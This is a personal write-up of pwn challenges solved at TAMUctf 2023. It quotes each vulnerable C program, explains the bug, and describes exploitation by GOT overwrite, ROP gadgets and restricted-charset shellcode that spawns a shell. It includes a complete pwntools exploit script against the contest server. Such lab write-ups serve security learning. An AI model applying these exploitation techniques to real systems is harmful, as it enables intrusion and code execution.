This weekend, I spent some of my free time solving challenges from TAMUctf 2023 for practice. I solved all the pwn challenges except Macchiato, and here is a short write-up that I created for all of the pwn challenges that I solved.
#include<stdio.h>#include<stdlib.h>intmain(){setvbuf(stdout,NULL,_IONBF,0);setvbuf(stdin,NULL,_IONBF,0);staticintseed=69;srand(&seed);printf("Here's a lucky number: %p\n",&main);intlol=1;intinput=0;for(inti=1;i<=7;++i){printf("Enter lucky number #%d:\n",i);scanf("%d",&input);if(rand()!=input){lol=0;}}if(lol){charflag[64]={0};FILE*f=fopen("flag.txt","r");fread(flag,1,sizeof(flag),f);printf("Nice work, here's the flag: %s\n",flag);}else{puts("How unlucky :pensive:");}}
The bug is the seed that is being used is the address of seed, which is quite close to the main address that is being leaked. This caused us to be able to generate the same rand() value.
#include<stdio.h>#include<unistd.h>voidupkeep(){// Not related to the challenge, just some stuff so the remote works correctly
setvbuf(stdin,NULL,_IONBF,0);setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);}voidwin(){char*argv[]={"/bin/cat","flag.txt",NULL};execve(argv[0],argv,NULL);}voidlose(){char*argv[]={"/bin/echo","loser",NULL};execve(argv[0],argv,NULL);}voidvuln(){charbuf[010];printf("Interaction pls: ");read(0,buf,10);}intmain(){upkeep();void*func_ptrs[]={lose,win};printf("All my functions are being stored at %p\n",func_ptrs);vuln();void(*poggers)()=func_ptrs[0];poggers();}
The bug is in vuln, where the buf is using 010 representation, which equals to 8. We can partially overwrite the rbp value, which we can use to shift the func_ptrs starting address to that the first element is win instead of lose.
#include<stdio.h>#include<stdlib.h>#include<unistd.h>voidwin(){char*argv[]={"/bin/cat","flag.txt",NULL};execve(argv[0],argv,NULL);}voidfoo(){unsignedlongseed;puts("Enter a seed:");scanf("%lu",&seed);srand(seed);}voidbar(){unsignedlonga;puts("Enter your guess:");scanf("%lu",a);if(rand()==a){puts("correct!");}else{puts("incorrect!");}}intmain(){puts("hello!");foo();bar();puts("goodbye!");}
The bug is in the scanf("%lu", a). Instead of call scanf with the address of a, it uses the value instead. Because the binary is No PIE, we can simply set the seed value to the GOT of puts, and then during calling bar, the a value isn’t uninitialized, which means it still contains the value that we set for the seed. That means, during calling the scanf("%lu", a), it will overwrite the GOT of puts with the value that we set (in this case, with the win address).
#include<stdio.h>#include<stdlib.h>intcheck(unsignedlongn,unsignedlongsold){if((n&0xffff)==(sold&0xffff)){return1;}return0;}voidvuln(){unsignedlongnum_sold;charresp;unsignedlonga;unsignedlongb;unsignedlongc;unsignedlongd;num_sold=rand();printf("It's not that easy though, enter 4 numbers to use to guess!\n");do{// ask user for input
printf("1st number: ");scanf("%lu",&a);printf("2nd number: ");scanf("%lu",&b);printf("3rd number: ");scanf("%lu",&c);printf("4th number: ");scanf("%lu",&d);// perform some calculations on the numbers
d=d+c;c=c^b;b=b-a;if(check(d,num_sold)){printf("Woohoo! That's exactly how many she sold!\n");printf("Here's a little something Sally wants to give you for your hard work: %lx\n",&d);}else{printf("Sorry, that's not quite right :(\n");}// go again?
printf("Would you like to guess again? (y/n) ");scanf("%s",&resp);}while(resp=='Y'||resp=='y');return;}voidwelcome(){printf("Sally sold some sea SHELLS!\n");printf("Try to guess exactly how many she sold, I bet you can't!!\n");}intmain(){setvbuf(stdin,NULL,_IONBF,0);setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);welcome();vuln();printf("'bye now'\n-Sally\n");return0;}
The bug is in the scanf("%s", &resp);, which is clearly a buffer overflow. Another thing to notice is that the stack address is executable. That means, this is a shellcoding challenge with constraints that there will be some operations performed to our inputted shellcode. I reuse the shellcode in this blog, and to fulfill the constraints, simply use z3.
#include<stdio.h>longaccounts[100];charexit_msg[]="Have a nice day!";voiddeposit(){intindex=0;longamount=0;puts("Enter the number (0-100) of the account you want to deposit in: ");scanf("%d",&index);puts("Enter the amount you want to deposit: ");scanf("%ld",&amount);accounts[index]+=amount;}intmain(){setvbuf(stdout,NULL,_IONBF,0);setvbuf(stdin,NULL,_IONBF,0);deposit();deposit();puts(exit_msg);}
The bug is we can use negative index in the accounts, and because it is placed in the bss area, we can modify GOT of puts to one_gadget and spawn a shell.
#include<stdio.h>#include<stdlib.h>#include<time.h>#include<string.h>#define MAX_LEN 1024
#define FLAG_LEN 30
voidupkeep(){// Not related to the challenge, just some stuff so the remote works correctly
setvbuf(stdin,NULL,_IONBF,0);setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);}voidprint_hex(char*buf,intlen){for(inti=0;i<len;i++){printf("%02x",(unsignedchar)buf[i]);}printf("\n");}voidencrypt(char*msg,intlen,char*iv){charkey[len];FILE*file;file=fopen("/dev/urandom","rb");fread(key,len,1,file);fclose(file);for(inti=0;i<len;i++){msg[i]=msg[i]^key[i]^iv[i%8];}}voidrandomize(char*msg,intlen,unsignedlongseed,unsignedlongiterations){seed=seed*iterations+len;if(iterations>1){randomize(msg,len,seed,iterations-1);}else{encrypt(msg,len,((char*)&seed));}}charmenu(){charoption;printf("\nSelect from the options below:\n");printf("1. Encrypt a message\n");printf("2. View the encrypted message\n");printf("3. Quit\n");printf("> ");scanf("%c",&option);while(getchar()!='\n');returnoption;}voidconsole(){FILE*file;longseed;intindex;intread_len;charbuf[MAX_LEN]="";intlen=-1;while(1){switch(menu()){case'1':// get user input
printf("\nPlease enter message to encrypt: ");fgets(buf,MAX_LEN-FLAG_LEN,stdin);len=strlen(buf);// add flag to the buffer
file=fopen("flag.txt","rb");fread(buf+len,FLAG_LEN,1,file);fclose(file);len+=FLAG_LEN;// encrypt
seed=((long)rand())<<32+rand();randomize(buf,len,seed,buf[0]);break;case'2':if(len==-1){printf("Sorry, you need to encrypt a message first.\n");break;}index=0;printf("\nRead a substring of the encrypted message.");printf("\nPlease enter the starting index (%d - %d): ",index,len);scanf("%d",&index);while(getchar()!='\n');if(index>len){printf("Error, index out of bounds.\n");break;}printf("Here's your encrypted string with the flag:\n");print_hex(buf+index,len-index);break;case'3':printf("goodbye.\n");exit(0);default:printf("There was an error processing that request, please try again.\n");break;}}}intmain(){srand(time(NULL));upkeep();// welcome
printf("Welcome to my encryption engine: ENCRYPT-INATOR!\n");printf("I'll encrypt anything you want but no guarantees you'll be able to decrypt it,\n");printf("I haven't quite figured out how to do that yet... :(\n");console();}
There is a bug where we can set the index to negative values, which means we can leak some values which stored above the main stack frames. With the bug, we can recover the key and iv values that is being used to encrypt it.
Notice that there is buffer overflow in the custom library, and our target is to call the win function to get a shell.
The given binary is Partial RELRO and No PIE. This means that we can modify the GOT table of the binary. Currently, the GOT only contains one function, which is pwnme function loaded from the custom library. My idea is to overwrite the GOT entry so that when the binary called pwnme, it will call win instead.
Checking the available gadgets in the binary with ROPgadget and ropr, I found some interesting gadgets.
1
2
3
4
0x00000000004011af : add byte ptr [rbp - 0x3d], bl ; sub rax, rsi ; ret
0x000000000040118f : add bl, al ; mov rax, qword ptr [rdi] ; ret
0x0000000000401191 : mov rax, qword ptr [rdi] ; ret
0x000000000040118b : pop rdi ; ret
The idea is to use this three gadgets to shift the last byte of the address pwnme stored in the GOT, so that it points to win instead (because win and pwnme is very close to each other). We control rbp with the BOF bug, we can set the rdi to address that we want which means the al value is controllable, which means we can set the bl values. If we set the rbp value to the address of GOT pwnme+0x3d, and then set the bl properly, we will be able to shift the GOT. After that, simply call the pwnme plt, and it will call win instead.
Notes that the BOF length is quite small, and I need to do ROP twice due to this length constraint + misalignment stack (which can caused an issue during return).
frompwnimport*exe=ELF("./pwnme_patched")context.binary=execontext.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:# gdb.attach(r, gdbscript=gdbscript)pause()else:r=remote("tamuctf.com",443,ssl=True,sni="pwnme")returnrr=conn()pop_rdi=0x000000000040118bmov_rax_ptr_rdi=0x0000000000401191add_bl_al=0x0040118fadd_rbp_bl=0x00000000004011afpayload=b'a'*0x10payload+=p64(exe.got['pwnme']+0x3d)payload+=p64(pop_rdi)+p64(0x4010c5)+p64(mov_rax_ptr_rdi)# Set al to 0xe8payload+=p64(add_bl_al)payload+=p64(exe.plt['pwnme'])# misalign stack, need to do second ROPr.sendafter(b'pwn me\n',payload)payload=b'a'*0x10payload+=p64(exe.got['pwnme']+0x3d)payload+=p64(add_rbp_bl)payload+=p64(exe.plt['pwnme'])r.sendafter(b'pwn me\n',payload)r.interactive()
#include<sys/mman.h>#include<stdio.h>#include<stdlib.h>#include<string.h>unsignedcharwhitelist[]="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f";voidcheck(unsignedchar*code,intlen){for(inti=0;i<len;i++){if(memchr(whitelist,code[i],sizeof(whitelist))==NULL){printf("Oops, shellcode contains blacklisted character %02X at offset %d.\n",code[i],i);exit(-1);}}}intmain(){unsignedchar*code=mmap(NULL,0x1000,PROT_EXEC|PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);intlen=read(0,code,0x100);if(len>0){if(code[len-1]=='\n'){code[len-1]='\0';}check(code,len);((void(*)())(code))();}}
So, this is a shellcoding challenge where the char is limited to the given whitelist. My first step was to check what is the available opcode based on the given whitelist (I use this website to help me for initial analysis). Turns out, we have plenty instructions related to or, add, and syscall. However, all the available opcodes only allowed us to play with max 32-bits operand and registers.
Checking on the gdb, during calling the shellcode.
rdx was set to the address of our shellcode (which is writeable region).
rdi was pointing to the whitelist array (which is writeable region).
My approach to solve this challenge is to do three syscalls, which are:
chdir('/')
chdir('bin')
execve('sh')
This approach was taken by me because we can only play with 32-bit registers, which mean the maximum number of bytes that I can set is only 4. So, the maximum string that I could craft is only 3 chars (because last byte need to be null), which is why I need to split the chdir one-by-one to fulfill the constraints.
Calling the first and second chdir is easy. rdi is already pointing to a writeable region, and the given opcodes also allowed us to modify the value pointed by rdi. So, we can simply construct string /\x00 during the first chdir. After calling the first chdir, we just need to modify the value pointed by rdi again to be bin\x00 and call chdir again. Now, we’re ready to call execve('sh').
There is a slight problem in here. Same as before, we can simply modify again the rdi pointed value to be sh\x00. And then, in order to successfully spawn a shell, ideally the rsi and rdx should be null. In this case, the rsi is already set to null since the start of the program. However, remember that the rdx value is not null, it still contains the shellcode address.
As I mentioned before, the available opcodes can’t modify the rdx value, but some of them can modify the value pointed by rdx. We need to set the pointed value to 0 to make the execve call succeed. But, remember that we can only edit 4 bytes, which means up until now, we’re only able to clear the pointed value lower 4 bytes, but the higher 4 bytes still remains.
Observed that during executing a syscall, the rcx value will be used to store the rip. Which means, after you call syscall, the rcx will be pointing to your shellcode address as well. This will be useful during executing the execve('sh'). Luckily, the given opcodes allow us to modify the value of cl (the least significant bytes of rcx) and we can also modify the value pointed by rcx. This means, to clear the higher 4 bytes of the pointed value ofrdx, we can simply adjust the rcx value to point to the rdx+4, and then nullify the pointed value. By doing this, all of the constraints has been fulfilled and we can smoothly spawn a shell.
Another thing that worth to be mentioned during making my payloads smaller is that I notice that there are a lot of times where we need to quickly nullify the pointed value. The trick that I use is to set the pointed value of edx to 0xffffffff. To nullify the value, simply or it with edx and then add it by 1. This trick helps me a lot to shorten my shellcode.